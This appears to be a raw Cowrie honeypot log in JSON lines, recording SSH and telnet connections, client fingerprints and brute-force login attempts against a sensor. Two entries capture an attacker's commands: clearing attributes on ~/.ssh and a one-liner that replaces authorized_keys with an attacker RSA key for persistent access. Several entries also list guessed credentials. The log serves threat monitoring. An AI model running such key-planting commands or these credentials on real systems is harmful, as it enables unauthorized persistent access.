{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:14.982535Z","src_ip":"202.165.22.58","session":"442af1389cae","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:14.986241Z","src_ip":"202.165.22.58","session":"442af1389cae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":52026,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d9dc7d10e78","protocol":"telnet","message":"New connection: 142.93.2.99:52026 (159.203.135.109:23) [session: 7d9dc7d10e78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:15.143679Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:15.283589Z","src_ip":"202.165.22.58","session":"442af1389cae","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:15.924974Z","src_ip":"202.165.22.58","session":"442af1389cae","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:15.928643Z","src_ip":"202.165.22.58","session":"442af1389cae","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:16.228082Z","src_ip":"202.165.22.58","session":"442af1389cae","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:16.232494Z","src_ip":"202.165.22.58","session":"442af1389cae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.22.58","src_port":36776,"dst_ip":"159.203.135.109","dst_port":22,"session":"6aea677f08fd","protocol":"ssh","message":"New connection: 202.165.22.58:36776 (159.203.135.109:22) [session: 6aea677f08fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:16.512115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:16.517132Z","src_ip":"202.165.22.58","session":"6aea677f08fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.0347535610199,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:16.687069Z","src_ip":"142.93.2.99","session":"050b2be23f58","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:16.795417Z","src_ip":"202.165.22.58","session":"6aea677f08fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:17.990139Z","src_ip":"202.165.22.58","session":"6aea677f08fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.07941269874573,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:18.985609Z","src_ip":"142.93.2.99","session":"9eb405b7a193","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:19.279950Z","src_ip":"202.165.22.58","session":"6aea677f08fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":55686,"dst_ip":"159.203.135.109","dst_port":23,"session":"72edf447812d","protocol":"telnet","message":"New connection: 142.93.2.99:55686 (159.203.135.109:23) [session: 72edf447812d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:19.416693Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":55698,"dst_ip":"159.203.135.109","dst_port":23,"session":"b659837cac3a","protocol":"telnet","message":"New connection: 142.93.2.99:55698 (159.203.135.109:23) [session: b659837cac3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:19.421417Z"}
{"eventid":"cowrie.session.closed","duration":32.697248458862305,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:20.367793Z","src_ip":"142.93.2.99","session":"8e0278d328d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.22.58","src_port":36786,"dst_ip":"159.203.135.109","dst_port":22,"session":"9827a4461a6e","protocol":"ssh","message":"New connection: 202.165.22.58:36786 (159.203.135.109:22) [session: 9827a4461a6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:20.618380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:20.621901Z","src_ip":"202.165.22.58","session":"9827a4461a6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:20.914410Z","src_ip":"202.165.22.58","session":"9827a4461a6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.653053760528564,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:21.462913Z","src_ip":"142.93.2.99","session":"c8398304ad15","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:22.096335Z","src_ip":"202.165.22.58","session":"9827a4461a6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.08343172073364,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:22.177237Z","src_ip":"142.93.2.99","session":"967683a1bb40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"9.5","message":"Connection lost after 9.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:22.391058Z","src_ip":"202.165.22.58","session":"442af1389cae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:22.395286Z","src_ip":"202.165.22.58","session":"9827a4461a6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.046780824661255,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:22.520238Z","src_ip":"142.93.2.99","session":"ac1307ad7d5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":59116,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e9911868c83","protocol":"telnet","message":"New connection: 142.93.2.99:59116 (159.203.135.109:23) [session: 7e9911868c83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:24.045526Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":60610,"dst_ip":"159.203.135.109","dst_port":23,"session":"e74b7833c6fa","protocol":"telnet","message":"New connection: 142.93.2.99:60610 (159.203.135.109:23) [session: e74b7833c6fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:24.712013Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":59906,"dst_ip":"159.203.135.109","dst_port":23,"session":"68a36e7c1f27","protocol":"telnet","message":"New connection: 142.93.2.99:59906 (159.203.135.109:23) [session: 68a36e7c1f27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:24.899932Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":34160,"dst_ip":"159.203.135.109","dst_port":23,"session":"50039917cf73","protocol":"telnet","message":"New connection: 142.93.2.99:34160 (159.203.135.109:23) [session: 50039917cf73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:26.794040Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":34814,"dst_ip":"159.203.135.109","dst_port":23,"session":"b86dde5f75ff","protocol":"telnet","message":"New connection: 142.93.2.99:34814 (159.203.135.109:23) [session: b86dde5f75ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:27.524625Z"}
{"eventid":"cowrie.session.closed","duration":32.34692621231079,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:28.114257Z","src_ip":"142.93.2.99","session":"ca2905f7c63c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":33018,"dst_ip":"159.203.135.109","dst_port":23,"session":"3dfa2ce7a69e","protocol":"telnet","message":"New connection: 142.93.2.99:33018 (159.203.135.109:23) [session: 3dfa2ce7a69e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:28.409434Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":38666,"dst_ip":"159.203.135.109","dst_port":23,"session":"95253874b384","protocol":"telnet","message":"New connection: 142.93.2.99:38666 (159.203.135.109:23) [session: 95253874b384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:32.072735Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":40922,"dst_ip":"159.203.135.109","dst_port":23,"session":"69de96ac1249","protocol":"telnet","message":"New connection: 142.93.2.99:40922 (159.203.135.109:23) [session: 69de96ac1249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:34.839790Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":41254,"dst_ip":"159.203.135.109","dst_port":23,"session":"780e7f335fc7","protocol":"telnet","message":"New connection: 142.93.2.99:41254 (159.203.135.109:23) [session: 780e7f335fc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:36.149508Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":41052,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b1aec6c06b4","protocol":"ssh","message":"New connection: 2.57.122.238:41052 (159.203.135.109:22) [session: 5b1aec6c06b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:38.206464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:38.211447Z","src_ip":"2.57.122.238","session":"5b1aec6c06b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:38.312331Z","src_ip":"2.57.122.238","session":"5b1aec6c06b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:38.614297Z","src_ip":"2.57.122.238","session":"5b1aec6c06b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.92204022407532,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:38.744368Z","src_ip":"142.93.2.99","session":"069df60b5441","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:39.717858Z","src_ip":"2.57.122.238","session":"5b1aec6c06b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.71410608291626,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:40.661911Z","src_ip":"104.245.105.2","session":"570295be638d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.97443604469299,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:42.025511Z","src_ip":"142.93.2.99","session":"4fc42d427b89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.10982799530029,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:45.564537Z","src_ip":"142.93.2.99","session":"cf13bb1964d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.08654546737671,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:45.787416Z","src_ip":"142.93.2.99","session":"58de5d63faf9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.842472553253174,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:47.299369Z","src_ip":"142.93.2.99","session":"a42faa0b2a6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.10673379898071,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:48.250269Z","src_ip":"142.93.2.99","session":"7d9dc7d10e78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":53734,"dst_ip":"159.203.135.109","dst_port":23,"session":"3091f7887f07","protocol":"telnet","message":"New connection: 142.93.2.99:53734 (159.203.135.109:23) [session: 3091f7887f07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:50.282283Z"}
{"eventid":"cowrie.session.closed","duration":31.863179922103882,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:51.284527Z","src_ip":"142.93.2.99","session":"b659837cac3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.56889748573303,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:52.985508Z","src_ip":"142.93.2.99","session":"72edf447812d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.046648263931274,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:56.092094Z","src_ip":"142.93.2.99","session":"7e9911868c83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.521194458007812,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:56.421013Z","src_ip":"142.93.2.99","session":"68a36e7c1f27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.194.140.170","src_port":48254,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5f6534b0d83","protocol":"ssh","message":"New connection: 189.194.140.170:48254 (159.203.135.109:22) [session: f5f6534b0d83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:57.512933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:05:57.518760Z","src_ip":"189.194.140.170","session":"f5f6534b0d83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 